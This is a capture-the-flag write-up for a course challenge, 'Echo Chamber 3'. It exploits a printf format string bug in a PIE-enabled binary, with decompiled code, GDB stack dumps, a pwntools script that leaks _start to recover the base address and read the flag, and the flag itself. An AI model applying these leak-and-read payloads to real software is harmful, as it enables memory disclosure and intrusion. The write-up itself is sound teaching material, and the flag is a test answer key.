Echo Chamber 3

Problem Type

Format String Vulnerability

Checksec

```
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
```

We note that there are no Stack Canaries, but PIE is now turned on.

Solution

This is primarily a solution writeup targeted to `./echo3_static` - the static implementation of the problem. The net implementation `./echo3_net` uses a different format parameter `%20$p` instead of `%18$p`, which will be indicated below.

Vulnerability

Program is very similar to 'Echo Chamber 2' - Program takes in user input into the buffer, and prints it out with `print(buf)`.

Ghidra Decompilation:

```
void main(void)

{
  char local_28 [32];

  d(flag,...);
  do {
    puts("This cave changes everytime we enter it!");
    puts("Shout something:");
    fgets(local_28,0x20,stdin);
    printf("The cave echoes back: ");
    printf(local_28);
    putchar(10);
  } while( true );
}
```

Actual Source Code:

```
int main() {
    char buf[32];
    d(flag, ...);
    while(1) {
        printf("This cave changes everytime we enter it!\n");
        printf("Shout something:\n");
        fgets(buf,sizeof(buf),stdin);
```

```
        printf("The cave echoes back: ");
        printf(buf);
        printf("\n");
    }
    return 0;
}
```

`printf(buf)` is still susceptible to format string attacks. An in-depth summary of format string attacks can be found in the writeup for 'Echo Chamber 1'. In essence, we are allowed to pass format parameters such as `%s` and `%d` into the buffer. The program then leaks parameters off the stack, which might allow us to exploit the program.

Investigation

The key difference between 'Echo Chamber 3' and the previous Echo Chamber challenges are:

- There is **no** character pointer initialized on the stack to point to the flag string in memory. In other words, there is no pointer reference on the stack we can use to directly read the flag string in memory. In 'Echo Chamber 2' we conquered this by inputting the flag pointer into the stack.
- PIE is enabled. This implies position-independent code, where symbol and function addresses are randomized each time the binary is executed. Hence, the `flag` address is no longer a fixed address we can disassemble and provide.

We see if the input is stored on the stack again with a script (similar approach to Echo Chamber 2)

```
p.recvuntil('Shout something:')
for i in range(10):
    p.sendline("AAAAAAAA %%%d$p" % i)
    p.recvuntil('The cave echoes back: ')
    print("%d - %s" % (i, p.recvuntil("\n", drop = True).decode()))
```

The output is as such:

```
0 - AAAAAAAA %0$p
1 - AAAAAAAA 0x5633c399d04d
2 - AAAAAAAA (nil)
3 - AAAAAAAA (nil)
4 - AAAAAAAA 0x7ffea43d6e20
5 - AAAAAAAA 0x16
6 - AAAAAAAA 0x4141414141414141
7 - AAAAAAAA 0xa7024372520
8 - AAAAAAAA 0x7ffea43d6f30
9 - AAAAAAAA (nil)
```

We note that our input `AAAAAAAA` is stored in the 6th parameter as `0x4141414141414141`. The approach is similar to that of Echo Chamber 2, where we need to pad the flag pointer onto the 7th parameter, and use the format parameter `%00007$p` to read the flag pointer.

With PIE enabled, how do we find the ever-changing **flag pointer**?

Strategy

An approach would be:

1. Leak pointer address of a known function (like `_start` or `main`)
2. Calculate base address of the binary by subtracting the leaked pointer with its offset

3. Use this base address to find the flag pointer by adding the correct offset value

Leaking `_start` pointer address We use GDB to investigate the values of the stack as the program is running. When the program breaks before it prints the 'echo', these are the values on the stack.

```
Breakpoint 1, __printf (format=0×55555555604a "The cave echoes back: ") at printf.c:28
28      printf.c: No such file or directory.
gdb-peda$ stack 50
0000| 0×7fffffffded8 ⟶ 0×5555555555d8 (<main+192>:    lea    rax,[rbp-0×20])
0008| 0×7fffffffdee0 ⟶ 0×55000a636261 ('abc\n')
0016| 0×7fffffffdee8 ⟶ 0×5555555550a0 (<_start>:      xor    ebp,ebp)
0024| 0×7fffffffdef0 ⟶ 0×7fffffffdff0 ⟶ 0×1
0032| 0×7fffffffdef8 ⟶ 0×0
0040| 0×7fffffffdf00 ⟶ 0×555555555600 (<__libc_csu_init>:     push   r15)
0048| 0×7fffffffdf08 ⟶ 0×7ffff7e14d0a (<__libc_start_main+234>:       mov    edi,eax)
0056| 0×7fffffffdf10 ⟶ 0×7fffffffdff8 ⟶ 0×7fffffffe31e ("/media/sf_Shared_Folder/fyp-ctf/Pwn/echo_chamber_3/st
atic/echo3_static")
0064| 0×7fffffffdf18 ⟶ 0×100000000
0072| 0×7fffffffdf20 ⟶ 0×555555555518 (<main>:        push   rbp)
0080| 0×7fffffffdf28 ⟶ 0×7ffff7e147cf (<init_cacheinfo+287>:  mov    rbp,rax)
0088| 0×7fffffffdf30 ⟶ 0×0
0096| 0×7fffffffdf38 ⟶ 0×afea415a9882a0fe
0104| 0×7fffffffdf40 ⟶ 0×5555555550a0 (<_start>:      xor    ebp,ebp)
```

As we can see, the 18th level on the stack points towards `_start`. Exploiting Format String Vulnerabilities, we can leak the pointer address to `_start` with a payload like - `%18$p`. We will then obtain the current address of `_start` in the context of the program.

Calculating base program offset We can then subtract this `_start` address with the binary's supposed `_start` address, obtaining the offset and the current base address of the program. This can be done through scripting: `binary.address = _start - binary.sym._start`

`binary.address` will be the base program offset we can use.

Using offset to find flag address with offset In this challenge, the program is compiled with symbols. Hence, we can use the offset to find the pointer to the flag symbol. With this flag pointer, we can place it into the payload in a similar fashion to the solution to *Echo Chamber 2*. A detailed explanation can be found in the writeup for *Echo Chamber 2*.

Final Payload

```
b'%7$s' + b'AAAA' + p64(binary.sym.flag)

OR

b'%7$s' +  b'AAAA' + b'\x00\x41\x40\x00\x00\x00\x00\x00'

OR

b'%00007$s' + p64(binary.sym.flag)
```

Note: We can use `%00007$s` for the 8 byte padding.

Sample Script

```
from pwn import *

binary = context.binary = ELF('./echo3_static')

# get base address
```

```
p.recvuntil('Shout something:')
p.sendline(b'%18$p')
p.recvuntil(b'The cave echoes back:');
_start = int(p.recvline().strip(),16)
binary.address = _start - binary.sym._start
log.info('binary.address: ' + hex(binary.address))

# get flag
payload = b'%00007$s' + p64(binary.sym.flag)
print(payload)
p.recvuntil('Shout something:')
p.sendline(payload)
p.recvuntil('The cave echoes back: ')
flag = p.recvline()
print(flag)
p.close()
```

Result

```
p.recvuntil('The cave echoes back: ')
b'CZ4067{f0rm47_57r1n6_4774ck_1_:_p13_0}\n'
```

Flag

```
CZ4067{f0rm47_57r1n6_4774ck_1_:_p13_0}
```